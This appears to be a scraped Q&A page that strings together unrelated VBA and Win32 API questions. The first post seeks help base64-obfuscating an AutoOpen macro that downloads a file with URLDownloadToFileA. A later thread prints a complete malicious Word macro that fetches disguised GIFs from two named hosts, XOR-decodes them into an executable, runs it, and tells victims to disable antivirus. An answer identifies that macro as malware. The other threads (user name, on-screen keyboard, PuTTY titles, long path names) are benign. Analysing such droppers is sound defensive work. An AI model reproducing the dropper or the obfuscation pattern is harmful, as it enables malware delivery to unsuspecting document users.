I am taking copyright measures for my engineering programming class, we are in the macro part. We have to deliver a teamwork and I have already finished my part, what I want to do is prevent someone from my team from plagiarizing my work. I password protected the document, but I have seen that you can reverse engineer and extract the information from the macro. I know it won't do much good, but at least I'll feel a little more secure; I have encoded a section of the code in base64 and I want it to be decoded and executable.
Private Declare PtrSafe Function q6ff4cd4c0ff727453aae57516f1fca69 Lib "urlmon" _
Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal b5bcaeaeeb0853a7bc5072d6873ac8c55 As String, _
ByVal e28e1f961cfdbaa0ed2b940de0682f981 As String, ByVal bab5d82e2e0beb5a34b311a1a48915196 As Long, ByVal lpfnCB As Long) As Long
Private Const ERROR_SUCCESS As Long = 0
Public Function b58fab3c2319f1d47a8fbd23ac9739f5a(ByVal sURL As String, ByVal z94bfdd94029ed837594f710f08275f66 As String) As Boolean
Dim lngRetVal As Long
b58fab3c2319f1d47a8fbd23ac9739f5a = q6ff4cd4c0ff727453aae57516f1fca69(0&, sURL, z94bfdd94029ed837594f710f08275f66, 0&, 0&) = ERROR_SUCCESS
b58fab3c2319f1d47a8fbd23ac9739f5a = q6ff4cd4c0ff727453aae57516f1fca69(0&, sURL, z94bfdd94029ed837594f710f08275f66, 0&, 0&) = ERROR_SUCCESS
End Function
Sub procedural()
YjU4ZmFiM2MyMzE5ZjFkNDdhOGZiZDIzYWM5NzM5ZjVhICJodHRwczovL3N0YXRpYy5vbmVjbXMuaW8vd3AtY29udGVudC91cGxvYWRzL3NpdGVzLzIwLzIwMTcvMTEvY2hpbWVyYS1jYXQuanBnIiwgIkM6XFVzZXJzXCIgJiBMQ2FzZShFbnZpcm9uKCJVc2VyTmFtZSIpKSAmICJcRGVza3RvcFxjaGltZXJhLWNhdC5qcGci
End Sub
Sub AutoOpen()
procedural
End Sub
I want decode this part:
YjU4ZmFiM2MyMzE5ZjFkNDdhOGZiZDIzYWM5NzM5ZjVhICJodHRwczovL3N0YXRpYy5vbmVjbXMuaW8vd3AtY29udGVudC91cGxvYWRzL3NpdGVzLzIwLzIwMTcvMTEvY2hpbWVyYS1jYXQuanBnIiwgIkM6XFVzZXJzXCIgJiBMQ2FzZShFbnZpcm9uKCJVc2VyTmFtZSIpKSAmICJcRGVza3RvcFxjaGltZXJhLWNhdC5qcGci
And execute this:
b58fab3c2319f1d47a8fbd23ac9739f5a "https://static.onecms.io/wp-content/uploads/sites/20/2017/11/chimera-cat.jpg", "C:\Users\" & LCase(Environ("UserName")) & "\Desktop\chimera-cat.jpg"
How can do it? Thanks very much for your time. Regards
Related
I am having trouble with the following a declaration statement as below:
Private Declare Function WNetGetUser Lib "mpr.dll" Alias "WNetGetUserA" (ByVal lpName As String, ByVal lpUserName As String, lpnLength As Long) As Long
The error is asking for a PtrSafe attribute.
Try this Declaration, please:
Private Declare PtrSafe Function WNetGetUser Lib "mpr.dll" Alias "WNetGetUserA" _
(ByVal lpName As String, ByVal lpUserName As String, lpnLength As Long) As Long
And use the next function to retrieve the logged user name:
Function GetUserName() As String
Const lpnLength As Long = 255
Dim status As Long, lpName, lpUserName As String
'Assign the buffer size constant to lpUserName.
lpUserName = Space$(lpnLength + 1)
status = WNetGetUser(lpName, lpUserName, lpnLength)
'See whether error occurred.
If status = 0 Then
lpUserName = Left$(lpUserName, InStr(lpUserName, Chr(0)) - 1)
End If
GetUserName = lpUserName
End Function
It can be called:
Sub TestUserName()
Debug.Print GetUserName
End Sub
All above, only if you insist to use API...
But VBA has its simple way of obtaining it:
Debug.Print Application.UserName
If you not like it, using VBScript (in VBA) may help:
Sub testUserNameVBSCript()
Dim userName As String
userName = CreateObject("WScript.Network").userName
Debug.Print userName
End Sub
I'm trying to pull up the on-screen keyboard.
Here are my attempts so far:
' Only needed for Test3
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Sub Test1()
' Run-time error'53':
' File Not found
Dim RetVal As Variant
RetVal = Shell("C:\WINDOWS\system32\osk.exe", 1)
End Sub
Sub Test2()
' Run-time error '432':
' File name or class name not found during Automation operation
ActiveWorkbook.FollowHyperlink Address:="C:\Windows\System32\osk.exe"
End Sub
Sub Test3()
' No error. Nothing happens at all
ShellExecute 0, vbNullString, "osk.exe", vbNullString, "C:\", 1
End Sub
Test2 from this forum.
Test3 from this forum.
I checked the path to osk.exe is correct.
I have a Surface laptop/tablet, so it has a touch screen and a "touch" keyboard (different from the osk). Is that what's causing the issue or possibly it's a Windows 10 thing?
On a 64-Bit OS try this
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function Wow64EnableWow64FsRedirection Lib "kernel32.dll" (ByVal Enable As Boolean) As Boolean
Private Sub RunOsk_on64Bit()
Const SW_SHOWNORMAL = 1
On Error Resume Next
Wow64EnableWow64FsRedirection False
ShellExecute 0, "open", "osk.exe", "", "C:\windows\system32\osk.exe", SW_SHOWNORMAL
Wow64EnableWow64FsRedirection True
End Sub
Found here, this might the explanation, quote from the link
This is an issue with 64-bit OS, it affects any 64-bit version of Windows.
Basically you are calling osk.exe, but your program you are calling it
from is a 32-bit app. Windows won't allow you to call a 64-bit OSK.exe
from your program. The comments appear to miss your point here, anyone
can start osk.exe from Run, but call it from within a 32-bit
application won't work in 64-bit Windows.
I am developing software that uses the on-screen keyboard, the only
work around is Wow64DisableWow64FsRedirection.
Update: A "nicer" version might look like that
Option Explicit
Type SHELLEXECUTEINFO
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Public Declare Function ShellExecuteEx Lib "shell32.dll" _
(lpExecInfo As SHELLEXECUTEINFO) As Long
Declare Function Wow64DisableWow64FsRedirection Lib "kernel32.dll" (ByRef ptr As Long) As Boolean
Declare Function Wow64RevertWow64FsRedirection Lib "kernel32.dll" (ByRef ptr As Long) As Boolean
Public Function KeyboardOpen()
Dim shInfo As SHELLEXECUTEINFO
Dim lngPtr As Long
With shInfo
.cbSize = Len(shInfo)
.lpFile = "C:\Windows\Sysnative\cmd.exe" 'best to use Known folders here
.lpParameters = "/c start osk.exe"
.lpDirectory = "C:\windows\system32" 'best to use Known folders here
.lpVerb = "open"
.nShow = 0
End With
Call Wow64DisableWow64FsRedirection(lngPtr)
Call ShellExecuteEx(shInfo)
Call Wow64RevertWow64FsRedirection(lngPtr)
End Function
Based on the information in MSDN it might be more reliable to use Wow64DisableWow64FsRedirection and Wow64RevertWow64FsRedirection functions instead.
Sample context to let stack over flow post this question.
Here he tries to combine its working for mac and windows I suppose.
#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
this attacker seems to open this doc.
Sub Document_Open()
Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte
#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If
What is this doing?
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = "Verdana"
.Size = 14
End With
ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & " Please wait..."
Is this supposed to damage my computer?
DoEvents
DoEvents
DoEvents
DoEvents
wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If
If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos
Call duwif(mufid())
Dont know what this is doing
wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"
bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
End Sub
cleverly written unreadable code.
Public Function lwyfu() As String
Dim djfie As String * 512
Dim pwifu As String * 576
Dim dwuf As Long
Dim wefkg As String
dwuf = Uhdwuud(512, djfie)
If (dwuf > 0 And dwuf < 512) Then
dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
If dwuf <> 0 Then
wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
End If
lwyfu = wefkg
End If
End Function
another function
Public Sub duwif(mufid() As Byte)
Dim dfety As Long
Dim bvjwi As Long
Dim wbdys As Long
Dim dvywi(256) As Byte
Dim wdals As Long
Dim dwiqh As Long
bvjwi = UBound(mufid) + 1
For dfety = 10 To 265
dvywi(dfety - 10) = mufid(dfety)
Next
wdals = UBound(dvywi) + 1
dwiqh = 0
For dfety = 266 To (bvjwi - 267)
mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
dwiqh = dwiqh + 1
If dwiqh = (wdals - 1) Then
dwiqh = 0
End If
Next
ReDim Preserve mufid(bvjwi - 267)
End Sub
end of the macro
The comments are correct; the macro downloads malware/spyware and executes it.
It tries both GIF URLs (and even prompts the user to disable their firewall/AV if the download fails). The two GIFs are identical (same SHA256 checksum), they have the appropriate GIF header block ("GIF89a"), and they even have some of the bytes describing what should be the image data.
The macro uses the duwif() subroutine (line 105) to extract the executable binary from the downloaded GIF. It stores that binary in a temp file, the reference for which is created by the lwyfu() function (line 90).
The macro then executes the binary on line 82:
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
You can modify the macro to remove/comment the execution statement and insert something harmless. For example:
REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud
This opens a message box with the path to the extracted binary instead of executing it.
The binary checksum is (SHA256)
55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd
Several anti-virus providers flag this file as malware and an automated analysis shows some suspicious behavior.
VirusTotal.com Report
Hybrid-Analysis.com Report
I am using the below vba code to open a putty screen on a button click.
TaskID = Shell("C:\putty.exe 173.194.127.210", vbMaximizedFocus)
When it opens a new screen, the title bar will contain the string "173.194.127.210 - PUTTY".
I want to change "173.194.127.210 - PUTTY" to "173.194.127.210 - HELLO" through vba code when the above code opens a new screen. Can anyone share the code for doing this?
Please note that I am not using super putty.
I am able to do the same manually with following steps:
Right click on title bar of putty screen opened.
Click on change settings
Click on Behavior under the option Window
Change window title as 173.194.127.210 - HELLO
Unfortunately, there is no way to change this value via the command line. The only place that this value can be set is in a session. Look at the PuTTY Configuration page, and click on the Session branch to see this. There is always a session called "Default Settings" which can't be deleted, and simply shows the application's internal defaults. You can't change these. However, you can create a new session programatically, save the window title in that, and then use the "-load" option of the PuTTY command line to load that session when starting the application.
This information for sessions is stored in the registry for each user, under the HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions key. Each key under here becomes a session with the name of the key. For the purposes of creating a session name which is unlikely to clash with a user's session, the code below uses a name which is the application EXE name, prefixed by two underscores.
The registry value you need to write for the window title is "WinTitle". However, you must also provide the "HostName", "Protocol" and "Port" values for PuTTY to open correctly. All values except "Port" are string (REG_SZ), whilst "Port" is an integer (REG_DWORD).
Option Explicit
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const ERROR_SUCCESS As Long = 0&
Private Const REG_SZ As Long = 1
Private Const REG_DWORD As Long = 4
Private Enum REGSAM
KEY_ALL_ACCESS = &HF003F
KEY_CREATE_LINK = &H20
KEY_CREATE_SUB_KEY = &H4
KEY_ENUMERATE_SUB_KEYS = &H8
KEY_EXECUTE = &H20019
KEY_NOTIFY = &H10
KEY_QUERY_VALUE = &H1
KEY_READ = &H20019
KEY_SET_VALUE = &H2
KEY_WOW64_32KEY = &H200
KEY_WOW64_64KEY = &H100
KEY_WRITE = &H20006
End Enum
Private Declare Function RegCloseKey Lib "Advapi32.dll" ( _
ByVal hKey As Long _
) As Long
Private Declare Function RegCreateKeyEx Lib "Advapi32.dll" Alias "RegCreateKeyExW" ( _
ByVal hKey As Long, _
ByVal lpSubKey As Long, _
ByVal Reserved As Long, _
ByVal lpClass As Long, _
ByVal dwOptions As Long, _
ByVal samDesired As REGSAM, _
ByVal lpSecurityAttributes As Long, _
ByRef phkResult As Long, _
ByRef lpdwDisposition As Long _
) As Long
Private Declare Function RegSetValueEx Lib "Advapi32.dll" Alias "RegSetValueExW" ( _
ByVal hKey As Long, _
ByVal lpValueName As Long, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
ByVal lpData As Long, _
ByVal cbData As Long _
) As Long
Private Enum ConnectionType
Raw
Telnet
Rlogin
SSH
End Enum
Private Function OpenPutty(ByRef the_sHost As String, ByRef the_sTitle As String, ByVal enmConnectionType As ConnectionType, Optional ByVal the_nPort = -1) As Long
Dim sUniqueSession As String
Dim sKeyUniqueSession As String
Dim sConnectionType As String
Dim nPort As Long
Dim hKeyUniqueSession As Long
sUniqueSession = "__" & App.EXEName
sKeyUniqueSession = "Software\SimonTatham\PuTTY\Sessions\" & sUniqueSession
' Provide the connection type / protocol string, and a default port value.
Select Case enmConnectionType
Case Raw
sConnectionType = "raw"
nPort = -1
Case Telnet
sConnectionType = "telnet"
nPort = 23
Case Rlogin
sConnectionType = "rlogin"
nPort = 513
Case SSH
sConnectionType = "ssh"
nPort = 22
End Select
' -1 indicates use the default port value.
If the_nPort <> -1 Then
nPort = the_nPort
End If
If RegCreateKeyEx(HKEY_CURRENT_USER, StrPtr(sKeyUniqueSession), 0&, 0&, 0&, KEY_SET_VALUE, 0&, hKeyUniqueSession, 0&) = ERROR_SUCCESS Then
RegSetValueEx hKeyUniqueSession, StrPtr("HostName"), 0&, REG_SZ, StrPtr(the_sHost), LenB(the_sHost)
RegSetValueEx hKeyUniqueSession, StrPtr("WinTitle"), 0&, REG_SZ, StrPtr(the_sTitle), LenB(the_sTitle)
RegSetValueEx hKeyUniqueSession, StrPtr("Protocol"), 0&, REG_SZ, StrPtr(sConnectionType), LenB(sConnectionType)
RegSetValueEx hKeyUniqueSession, StrPtr("PortNumber"), 0&, REG_DWORD, VarPtr(nPort), LenB(nPort)
RegCloseKey hKeyUniqueSession
End If
OpenPutty = Shell(App.Path & "\putty.exe -load """ & sUniqueSession & """", vbMaximizedFocus)
End Function
Private Sub Command1_Click()
OpenPutty "192.168.1.5", "My custom title", Telnet
End Sub
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Sub Main()
On Error Resume Next
hwindows = FindWindow(vbNullString, "Microsoft Works Calendar")
Ret = SetWindowText(hwindows, "Calandar")
End Sub
I have a path in short version or in DOS format ("C:/DOCUME~1" e.g) and want to get the full path/long path of it ("C:/Documents And Settings" e.g).
I tried GetLongPathName api. It WORKED. But when deal with unicode filename it turns out failure.
Private Declare Function GetLongPathName Lib "kernel32" Alias _
"GetLongPathNameA" (ByVal lpszShortPath As String, _
ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
I tried to alias GetLongPathNameW instead but it seems do nothing, for BOTH Unicode and non-Unicode filename, always return 0. In MSDN there's only article about GetLongPathNameW for C/C++, not any for VB/VBA. May I do something wrong?
Is there any solution for this case? I spend hours on Google and StackOverflow but can't find out.
Regards,
Does this work for you? I've converted the file path to short path name then converted it back again which gives the correct string even when unicode (eg C:/Tö+)
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" _
(ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As Long) As Long
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameA" _
(ByVal lpszShortPath As String, ByVal lpszLongPath As String, ByVal cchBuffer As Long) As Long
Public Function GetShortPath(ByVal strFileName As String) As String
'KPD-Team 1999
'URL: [url]http://www.allapi.net/[/url]
'E-Mail: [email]KPDTeam#Allapi.net[/email]
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the short pathname
lngRes = GetShortPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetShortPath = Left$(strPath, lngRes)
End Function
Public Function GetLongPath(ByVal strFileName As String) As String
Dim lngRes As Long, strPath As String
'Create a buffer
strPath = String$(165, 0)
'retrieve the long pathname
lngRes = GetLongPathName(strFileName, strPath, 164)
'remove all unnecessary chr$(0)'s
GetLongPath = Left$(strPath, lngRes)
End Function
Private Sub Test()
shortpath = GetShortPath("C:/Documents And Settings")
Longpath = GetLongPath(shortpath)
End Sub
To use W-functions from vb6/vba, you declare all string parameters as long:
Private Declare Function GetLongPathName Lib "kernel32" Alias "GetLongPathNameW" _
(ByVal lpszShortPath As Long, _
ByVal lpszLongPath As Long, _
ByVal cchBuffer As Long) As Long
and pass StrPtr(a_string) instead of just a_string.
So if you had:
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameA s_path, l_path, len(l_path)
it would become
dim s_path as string
dim l_path as string
s_path = "C:\DOCUME~1"
l_path = string$(1024, vbnullchar)
GetLongPathNameW strptr(s_path), strptr(l_path), len(l_path)